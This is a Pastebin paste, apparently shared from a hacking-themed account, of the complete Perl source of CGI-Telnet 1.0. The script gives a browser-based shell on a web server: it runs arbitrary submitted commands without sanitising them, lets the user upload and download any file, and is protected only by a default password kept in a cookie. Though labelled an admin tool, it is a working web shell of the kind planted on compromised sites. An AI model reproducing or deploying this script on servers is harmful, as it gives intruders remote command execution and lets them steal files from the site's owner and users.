Advertisement
blackcyberrootshell

[ + ] CGI Telnet [ + ]

Feb 27th, 2015
301
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 23.29 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #------------------------------------------------------------------------------
  3. # Copyright and Licence
  4. #------------------------------------------------------------------------------
  5. # CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server
  6. #
  7. # Copyright (C) 2001 Rohitab Batra
  8. # Permission is granted to use, distribute and modify this script so long
  9. # as this copyright notice is left intact. If you make changes to the script
  10. # please document them and inform me. If you would like any changes to be made
  11. # in this script, you can e-mail me.
  12. #
  13. # Author: Rohitab Batra
  14. # Author e-mail: rohitab@rohitab.com
  15. # Author Homepage: http://www.rohitab.com/
  16. # Script Homepage: http://www.rohitab.com/cgiscripts/cgitelnet.html
  17. # Product Support: http://www.rohitab.com/support/
  18. # Discussion Forum: http://www.rohitab.com/discuss/
  19. # Mailing List: http://www.rohitab.com/mlist/
  20. #------------------------------------------------------------------------------
  21.  
  22. #------------------------------------------------------------------------------
  23. # Installation
  24. #------------------------------------------------------------------------------
  25. # To install this script
  26. #
  27. # 1. Modify the first line "#!/usr/bin/perl" to point to the correct path on
  28. #    your server. For most servers, you may not need to modify this.
  29. # 2. Change the password in the Configuration section below.
  30. # 3. If you're running the script under Windows NT, set $WinNT = 1 in the
  31. #    Configuration Section below.
  32. # 4. Upload the script to a directory on your server which has permissions to
  33. #    execute CGI scripts. This is usually cgi-bin. Make sure that you upload
  34. #    the script in ASCII mode.
  35. # 5. Change the permission (CHMOD) of the script to 755.
  36. # 6. Open the script in your web browser. If you uploaded the script in
  37. #    cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl
  38. # 7. Login using the password that you specified in Step 2.
  39. #------------------------------------------------------------------------------
  40.  
  41. #------------------------------------------------------------------------------
  42. # Configuration: You need to change only $Password and $WinNT. The other
  43. # values should work fine for most systems.
  44. #------------------------------------------------------------------------------
  45. $Password = "changeme";     # Change this. You will need to enter this
  46.                 # to login.
  47.  
  48. $WinNT = 0;         # You need to change the value of this to 1 if
  49.                 # you're running this script on a Windows NT
  50.                 # machine. If you're running it on Unix, you
  51.                 # can leave the value as it is.
  52.  
  53. $NTCmdSep = "&";        # This character is used to seperate 2 commands
  54.                 # in a command line on Windows NT.
  55.  
  56. $UnixCmdSep = ";";      # This character is used to seperate 2 commands
  57.                 # in a command line on Unix.
  58.  
  59. $CommandTimeoutDuration = 10;   # Time in seconds after commands will be killed
  60.                 # Don't set this to a very large value. This is
  61.                 # useful for commands that may hang or that
  62.                 # take very long to execute, like "find /".
  63.                 # This is valid only on Unix servers. It is
  64.                 # ignored on NT Servers.
  65.  
  66. $ShowDynamicOutput = 1;     # If this is 1, then data is sent to the
  67.                 # browser as soon as it is output, otherwise
  68.                 # it is buffered and send when the command
  69.                 # completes. This is useful for commands like
  70.                 # ping, so that you can see the output as it
  71.                 # is being generated.
  72.  
  73. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
  74.  
  75. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  76. $CmdPwd = ($WinNT ? "cd" : "pwd");
  77. $PathSep = ($WinNT ? "\\" : "/");
  78. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  79.  
  80. #------------------------------------------------------------------------------
  81. # Reads the input sent by the browser and parses the input variables. It
  82. # parses GET, POST and multipart/form-data that is used for uploading files.
  83. # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
  84. # Other variables can be accessed using $in{'var'}, where var is the name of
  85. # the variable. Note: Most of the code in this function is taken from other CGI
  86. # scripts.
  87. #------------------------------------------------------------------------------
  88. sub ReadParse
  89. {
  90.     local (*in) = @_ if @_;
  91.     local ($i, $loc, $key, $val);
  92.    
  93.     $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  94.  
  95.     if($ENV{'REQUEST_METHOD'} eq "GET")
  96.     {
  97.         $in = $ENV{'QUERY_STRING'};
  98.     }
  99.     elsif($ENV{'REQUEST_METHOD'} eq "POST")
  100.     {
  101.         binmode(STDIN) if $MultipartFormData & $WinNT;
  102.         read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  103.     }
  104.  
  105.     # handle file upload data
  106.     if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  107.     {
  108.         $Boundary = '--'.$1; # please refer to RFC1867
  109.         @list = split(/$Boundary/, $in);
  110.         $HeaderBody = $list[1];
  111.         $HeaderBody =~ /\r\n\r\n|\n\n/;
  112.         $Header = $`;
  113.         $Body = $';
  114.         $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  115.         $in{'filedata'} = $Body;
  116.         $Header =~ /filename=\"(.+)\"/;
  117.         $in{'f'} = $1;
  118.         $in{'f'} =~ s/\"//g;
  119.         $in{'f'} =~ s/\s//g;
  120.  
  121.         # parse trailer
  122.         for($i=2; $list[$i]; $i++)
  123.         {
  124.             $list[$i] =~ s/^.+name=$//;
  125.             $list[$i] =~ /\"(\w+)\"/;
  126.             $key = $1;
  127.             $val = $';
  128.             $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  129.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  130.             $in{$key} = $val;
  131.         }
  132.     }
  133.     else # standard post data (url encoded, not multipart)
  134.     {
  135.         @in = split(/&/, $in);
  136.         foreach $i (0 .. $#in)
  137.         {
  138.             $in[$i] =~ s/\+/ /g;
  139.             ($key, $val) = split(/=/, $in[$i], 2);
  140.             $key =~ s/%(..)/pack("c", hex($1))/ge;
  141.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  142.             $in{$key} .= "\0" if (defined($in{$key}));
  143.             $in{$key} .= $val;
  144.         }
  145.     }
  146. }
  147.  
  148. #------------------------------------------------------------------------------
  149. # Prints the HTML Page Header
  150. # Argument 1: Form item name to which focus should be set
  151. #------------------------------------------------------------------------------
  152. sub PrintPageHeader
  153. {
  154.     $EncodedCurrentDir = $CurrentDir;
  155.     $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  156.     print "Content-type: text/html\n\n";
  157.     print <<END;
  158. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
  159. <html>
  160. <head>
  161. <title>CGI-Telnet Version 1.0</title>
  162. $HtmlMetaHeader
  163. </head>
  164. <body onLoad="document.f.@_.focus()" bgcolor="#000000" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
  165. <table border="1" width="100%" cellspacing="0" cellpadding="2">
  166. <tr>
  167. <td bgcolor="#C2BFA5" bordercolor="#000080" align="center">
  168. <b><font color="#000080" size="2">#</font></b></td>
  169. <td bgcolor="#000080"><font face="Verdana" size="2" color="#FFFFFF"><b>CGI-Telnet Version 1.0 - Connected to $ServerName</b></font></td>
  170. </tr>
  171. <tr>
  172. <td colspan="2" bgcolor="#C2BFA5"><font face="Verdana" size="2">
  173. <a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">Upload File</a> |
  174. <a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File</a> |
  175. <a href="$ScriptLocation?a=logout">Disconnect</a> |
  176. <a href="http://www.rohitab.com/cgiscripts/cgitelnet.html">Help</a>
  177. </font></td>
  178. </tr>
  179. </table>
  180. <font color="#C0C0C0" size="3">
  181. END
  182. }
  183.  
  184. #------------------------------------------------------------------------------
  185. # Prints the Login Screen
  186. #------------------------------------------------------------------------------
  187. sub PrintLoginScreen
  188. {
  189.     $Message = q$<pre><font color="#669999"> _____  _____  _____          _____        _               _
  190. /  __ \|  __ \|_   _|        |_   _|      | |             | |
  191. | /  \/| |  \/  | |   ______   | |    ___ | | _ __    ___ | |_
  192. | |    | | __   | |  |______|  | |   / _ \| || '_ \  / _ \| __|
  193. | \__/\| |_\ \ _| |_           | |  |  __/| || | | ||  __/| |_
  194. \____/ \____/ \___/           \_/   \___||_||_| |_| \___| \__| 1.0
  195.                                        
  196. </font><font color="#FF0000">                      ______             </font><font color="#AE8300">© 2001, Rohitab Batra</font><font color="#FF0000">
  197.                   .-&quot;      &quot;-.
  198.                  /            \
  199.                 |              |
  200.                 |,  .-.  .-.  ,|
  201.                 | )(_o/  \o_)( |
  202.                 |/     /\     \|
  203.       (@_       (_     ^^     _)
  204.  _     ) \</font><font color="#808080">_______</font><font color="#FF0000">\</font><font color="#808080">__</font><font color="#FF0000">|IIIIII|</font><font color="#808080">__</font><font color="#FF0000">/</font><font color="#808080">_______________________
  205. </font><font color="#FF0000"> (_)</font><font color="#808080">@8@8</font><font color="#FF0000">{}</font><font color="#808080">&lt;________</font><font color="#FF0000">|-\IIIIII/-|</font><font color="#808080">________________________&gt;</font><font color="#FF0000">
  206.        )_/        \          /
  207.       (@           `--------`
  208.             </font><font color="#AE8300">W A R N I N G: Private Server</font></pre>
  209. $;
  210. #'
  211.     print <<END;
  212. <code>
  213. Trying $ServerName...<br>
  214. Connected to $ServerName<br>
  215. Escape character is ^]
  216. <code>$Message
  217. END
  218. }
  219.  
  220. #------------------------------------------------------------------------------
  221. # Prints the message that informs the user of a failed login
  222. #------------------------------------------------------------------------------
  223. sub PrintLoginFailedMessage
  224. {
  225.     print <<END;
  226. <code>
  227. <br>login: admin<br>
  228. password:<br>
  229. Login incorrect<br><br>
  230. </code>
  231. END
  232. }
  233.  
  234. #------------------------------------------------------------------------------
  235. # Prints the HTML form for logging in
  236. #------------------------------------------------------------------------------
  237. sub PrintLoginForm
  238. {
  239.     print <<END;
  240. <code>
  241. <form name="f" method="POST" action="$ScriptLocation">
  242. <input type="hidden" name="a" value="login">
  243. login: admin<br>
  244. password:<input type="password" name="p">
  245. <input type="submit" value="Enter">
  246. </form>
  247. </code>
  248. END
  249. }
  250.  
  251. #------------------------------------------------------------------------------
  252. # Prints the footer for the HTML Page
  253. #------------------------------------------------------------------------------
  254. sub PrintPageFooter
  255. {
  256.     print "</font></body></html>";
  257. }
  258.  
  259. #------------------------------------------------------------------------------
  260. # Retreives the values of all cookies. The cookies can be accesses using the
  261. # variable $Cookies{''}
  262. #------------------------------------------------------------------------------
  263. sub GetCookies
  264. {
  265.     @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  266.     foreach $cookie(@httpcookies)
  267.     {
  268.         ($id, $val) = split(/=/, $cookie);
  269.         $Cookies{$id} = $val;
  270.     }
  271. }
  272.  
  273. #------------------------------------------------------------------------------
  274. # Prints the screen when the user logs out
  275. #------------------------------------------------------------------------------
  276. sub PrintLogoutScreen
  277. {
  278.     print "<code>Connection closed by foreign host.<br><br></code>";
  279. }
  280.  
  281. #------------------------------------------------------------------------------
  282. # Logs out the user and allows the user to login again
  283. #------------------------------------------------------------------------------
  284. sub PerformLogout
  285. {
  286.     print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  287.     &PrintPageHeader("p");
  288.     &PrintLogoutScreen;
  289.     &PrintLoginScreen;
  290.     &PrintLoginForm;
  291.     &PrintPageFooter;
  292. }
  293.  
  294. #------------------------------------------------------------------------------
  295. # This function is called to login the user. If the password matches, it
  296. # displays a page that allows the user to run commands. If the password doens't
  297. # match or if no password is entered, it displays a form that allows the user
  298. # to login
  299. #------------------------------------------------------------------------------
  300. sub PerformLogin
  301. {
  302.     if($LoginPassword eq $Password) # password matched
  303.     {
  304.         print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  305.         &PrintPageHeader("c");
  306.         &PrintCommandLineInputForm;
  307.         &PrintPageFooter;
  308.     }
  309.     else # password didn't match
  310.     {
  311.         &PrintPageHeader("p");
  312.         &PrintLoginScreen;
  313.         if($LoginPassword ne "") # some password was entered
  314.         {
  315.             &PrintLoginFailedMessage;
  316.         }
  317.         &PrintLoginForm;
  318.         &PrintPageFooter;
  319.     }
  320. }
  321.  
  322. #------------------------------------------------------------------------------
  323. # Prints the HTML form that allows the user to enter commands
  324. #------------------------------------------------------------------------------
  325. sub PrintCommandLineInputForm
  326. {
  327.     $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
  328.     print <<END;
  329. <code>
  330. <form name="f" method="POST" action="$ScriptLocation">
  331. <input type="hidden" name="a" value="command">
  332. <input type="hidden" name="d" value="$CurrentDir">
  333. $Prompt
  334. <input type="text" name="c">
  335. <input type="submit" value="Enter">
  336. </form>
  337. </code>
  338. END
  339. }
  340.  
  341. #------------------------------------------------------------------------------
  342. # Prints the HTML form that allows the user to download files
  343. #------------------------------------------------------------------------------
  344. sub PrintFileDownloadForm
  345. {
  346.     $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
  347.     print <<END;
  348. <code>
  349. <form name="f" method="POST" action="$ScriptLocation">
  350. <input type="hidden" name="d" value="$CurrentDir">
  351. <input type="hidden" name="a" value="download">
  352. $Prompt download<br><br>
  353. Filename: <input type="text" name="f" size="35"><br><br>
  354. Download: <input type="submit" value="Begin">
  355. </form>
  356. </code>
  357. END
  358. }
  359.  
  360. #------------------------------------------------------------------------------
  361. # Prints the HTML form that allows the user to upload files
  362. #------------------------------------------------------------------------------
  363. sub PrintFileUploadForm
  364. {
  365.     $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
  366.     print <<END;
  367. <code>
  368. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  369. $Prompt upload<br><br>
  370. Filename: <input type="file" name="f" size="35"><br><br>
  371. Options: &nbsp;<input type="checkbox" name="o" value="overwrite">
  372. Overwrite if it Exists<br><br>
  373. Upload:&nbsp;&nbsp;&nbsp;<input type="submit" value="Begin">
  374. <input type="hidden" name="d" value="$CurrentDir">
  375. <input type="hidden" name="a" value="upload">
  376. </form>
  377. </code>
  378. END
  379. }
  380.  
  381. #------------------------------------------------------------------------------
  382. # This function is called when the timeout for a command expires. We need to
  383. # terminate the script immediately. This function is valid only on Unix. It is
  384. # never called when the script is running on NT.
  385. #------------------------------------------------------------------------------
  386. sub CommandTimeout
  387. {
  388.     if(!$WinNT)
  389.     {
  390.         alarm(0);
  391.         print <<END;
  392. </xmp>
  393. <code>
  394. Command exceeded maximum time of $CommandTimeoutDuration second(s).
  395. <br>Killed it!
  396. <code>
  397. END
  398.         &PrintCommandLineInputForm;
  399.         &PrintPageFooter;
  400.         exit;
  401.     }
  402. }
  403.  
  404. #------------------------------------------------------------------------------
  405. # This function is called to execute commands. It displays the output of the
  406. # command and allows the user to enter another command. The change directory
  407. # command is handled differently. In this case, the new directory is stored in
  408. # an internal variable and is used each time a command has to be executed. The
  409. # output of the change directory command is not displayed to the users
  410. # therefore error messages cannot be displayed.
  411. #------------------------------------------------------------------------------
  412. sub ExecuteCommand
  413. {
  414.     if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  415.     {
  416.         # we change the directory internally. The output of the
  417.         # command is not displayed.
  418.        
  419.         $OldDir = $CurrentDir;
  420.         $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  421.         chop($CurrentDir = `$Command`);
  422.         &PrintPageHeader("c");
  423.         $Prompt = $WinNT ? "$OldDir> " : "[admin\@$ServerName $OldDir]\$ ";
  424.         print "<code>$Prompt $RunCommand</code>";
  425.     }
  426.     else # some other command, display the output
  427.     {
  428.         &PrintPageHeader("c");
  429.         $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
  430.         print "<code>$Prompt $RunCommand</code><xmp>";
  431.         $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  432.         if(!$WinNT)
  433.         {
  434.             $SIG{'ALRM'} = \&CommandTimeout;
  435.             alarm($CommandTimeoutDuration);
  436.         }
  437.         if($ShowDynamicOutput) # show output as it is generated
  438.         {
  439.             $|=1;
  440.             $Command .= " |";
  441.             open(CommandOutput, $Command);
  442.             while(<CommandOutput>)
  443.             {
  444.                 $_ =~ s/(\n|\r\n)$//;
  445.                 print "$_\n";
  446.             }
  447.             $|=0;
  448.         }
  449.         else # show output after command completes
  450.         {
  451.             print `$Command`;
  452.         }
  453.         if(!$WinNT)
  454.         {
  455.             alarm(0);
  456.         }
  457.         print "</xmp>";
  458.     }
  459.     &PrintCommandLineInputForm;
  460.     &PrintPageFooter;
  461. }
  462.  
  463. #------------------------------------------------------------------------------
  464. # This function displays the page that contains a link which allows the user
  465. # to download the specified file. The page also contains a auto-refresh
  466. # feature that starts the download automatically.
  467. # Argument 1: Fully qualified filename of the file to be downloaded
  468. #------------------------------------------------------------------------------
  469. sub PrintDownloadLinkPage
  470. {
  471.     local($FileUrl) = @_;
  472.     if(-e $FileUrl) # if the file exists
  473.     {
  474.         # encode the file link so we can send it to the browser
  475.         $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  476.         $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  477.         $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  478.         &PrintPageHeader("c");
  479.         print <<END;
  480. <code>
  481. Sending File $TransferFile...<br>
  482. If the download does not start automatically,
  483. <a href="$DownloadLink">Click Here</a>.
  484. </code>
  485. END
  486.         &PrintCommandLineInputForm;
  487.         &PrintPageFooter;
  488.     }
  489.     else # file doesn't exist
  490.     {
  491.         &PrintPageHeader("f");
  492.         print "<code>Failed to download $FileUrl: $!</code>";
  493.         &PrintFileDownloadForm;
  494.         &PrintPageFooter;
  495.     }
  496. }
  497.  
  498. #------------------------------------------------------------------------------
  499. # This function reads the specified file from the disk and sends it to the
  500. # browser, so that it can be downloaded by the user.
  501. # Argument 1: Fully qualified pathname of the file to be sent.
  502. #------------------------------------------------------------------------------
  503. sub SendFileToBrowser
  504. {
  505.     local($SendFile) = @_;
  506.     if(open(SENDFILE, $SendFile)) # file opened for reading
  507.     {
  508.         if($WinNT)
  509.         {
  510.             binmode(SENDFILE);
  511.             binmode(STDOUT);
  512.         }
  513.         $FileSize = (stat($SendFile))[7];
  514.         ($Filename = $SendFile) =~  m!([^/^\\]*)$!;
  515.         print "Content-Type: application/x-unknown\n";
  516.         print "Content-Length: $FileSize\n";
  517.         print "Content-Disposition: attachment; filename=$1\n\n";
  518.         print while(<SENDFILE>);
  519.         close(SENDFILE);
  520.     }
  521.     else # failed to open file
  522.     {
  523.         &PrintPageHeader("f");
  524.         print "<code>Failed to download $SendFile: $!</code>";
  525.         &PrintFileDownloadForm;
  526.         &PrintPageFooter;
  527.     }
  528. }
  529.  
  530.  
  531. #------------------------------------------------------------------------------
  532. # This function is called when the user downloads a file. It displays a message
  533. # to the user and provides a link through which the file can be downloaded.
  534. # This function is also called when the user clicks on that link. In this case,
  535. # the file is read and sent to the browser.
  536. #------------------------------------------------------------------------------
  537. sub BeginDownload
  538. {
  539.     # get fully qualified path of the file to be downloaded
  540.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  541.         (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  542.     {
  543.         $TargetFile = $TransferFile;
  544.     }
  545.     else # path is relative
  546.     {
  547.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  548.         $TargetFile .= $PathSep.$TransferFile;
  549.     }
  550.  
  551.     if($Options eq "go") # we have to send the file
  552.     {
  553.         &SendFileToBrowser($TargetFile);
  554.     }
  555.     else # we have to send only the link page
  556.     {
  557.         &PrintDownloadLinkPage($TargetFile);
  558.     }
  559. }
  560.  
  561. #------------------------------------------------------------------------------
  562. # This function is called when the user wants to upload a file. If the
  563. # file is not specified, it displays a form allowing the user to specify a
  564. # file, otherwise it starts the upload process.
  565. #------------------------------------------------------------------------------
  566. sub UploadFile
  567. {
  568.     # if no file is specified, print the upload form again
  569.     if($TransferFile eq "")
  570.     {
  571.         &PrintPageHeader("f");
  572.         &PrintFileUploadForm;
  573.         &PrintPageFooter;
  574.         return;
  575.     }
  576.     &PrintPageHeader("c");
  577.  
  578.     # start the uploading process
  579.     print "<code>Uploading $TransferFile to $CurrentDir...<br>";
  580.  
  581.     # get the fullly qualified pathname of the file to be created
  582.     chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  583.     $TransferFile =~ m!([^/^\\]*)$!;
  584.     $TargetName .= $PathSep.$1;
  585.  
  586.     $TargetFileSize = length($in{'filedata'});
  587.     # if the file exists and we are not supposed to overwrite it
  588.     if(-e $TargetName && $Options ne "overwrite")
  589.     {
  590.         print "Failed: Destination file already exists.<br>";
  591.     }
  592.     else # file is not present
  593.     {
  594.         if(open(UPLOADFILE, ">$TargetName"))
  595.         {
  596.             binmode(UPLOADFILE) if $WinNT;
  597.             print UPLOADFILE $in{'filedata'};
  598.             close(UPLOADFILE);
  599.             print "Transfered $TargetFileSize Bytes.<br>";
  600.             print "File Path: $TargetName<br>";
  601.         }
  602.         else
  603.         {
  604.             print "Failed: $!<br>";
  605.         }
  606.     }
  607.     print "</code>";
  608.     &PrintCommandLineInputForm;
  609.     &PrintPageFooter;
  610. }
  611.  
  612. #------------------------------------------------------------------------------
  613. # This function is called when the user wants to download a file. If the
  614. # filename is not specified, it displays a form allowing the user to specify a
  615. # file, otherwise it displays a message to the user and provides a link
  616. # through  which the file can be downloaded.
  617. #------------------------------------------------------------------------------
  618. sub DownloadFile
  619. {
  620.     # if no file is specified, print the download form again
  621.     if($TransferFile eq "")
  622.     {
  623.         &PrintPageHeader("f");
  624.         &PrintFileDownloadForm;
  625.         &PrintPageFooter;
  626.         return;
  627.     }
  628.    
  629.     # get fully qualified path of the file to be downloaded
  630.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  631.         (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  632.     {
  633.         $TargetFile = $TransferFile;
  634.     }
  635.     else # path is relative
  636.     {
  637.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  638.         $TargetFile .= $PathSep.$TransferFile;
  639.     }
  640.  
  641.     if($Options eq "go") # we have to send the file
  642.     {
  643.         &SendFileToBrowser($TargetFile);
  644.     }
  645.     else # we have to send only the link page
  646.     {
  647.         &PrintDownloadLinkPage($TargetFile);
  648.     }
  649. }
  650.  
  651. #------------------------------------------------------------------------------
  652. # Main Program - Execution Starts Here
  653. #------------------------------------------------------------------------------
  654. &ReadParse;
  655. &GetCookies;
  656.  
  657. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  658. $ServerName = $ENV{'SERVER_NAME'};
  659. $LoginPassword = $in{'p'};
  660. $RunCommand = $in{'c'};
  661. $TransferFile = $in{'f'};
  662. $Options = $in{'o'};
  663.  
  664. $Action = $in{'a'};
  665. $Action = "login" if($Action eq ""); # no action specified, use default
  666.  
  667. # get the directory in which the commands will be executed
  668. $CurrentDir = $in{'d'};
  669. chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  670.  
  671. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  672.  
  673. if($Action eq "login" || !$LoggedIn) # user needs/has to login
  674. {
  675.     &PerformLogin;
  676. }
  677. elsif($Action eq "command") # user wants to run a command
  678. {
  679.     &ExecuteCommand;
  680. }
  681. elsif($Action eq "upload") # user wants to upload a file
  682. {
  683.     &UploadFile;
  684. }
  685. elsif($Action eq "download") # user wants to download a file
  686. {
  687.     &DownloadFile;
  688. }
  689. elsif($Action eq "logout") # user wants to logout
  690. {
  691.     &PerformLogout;
  692. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement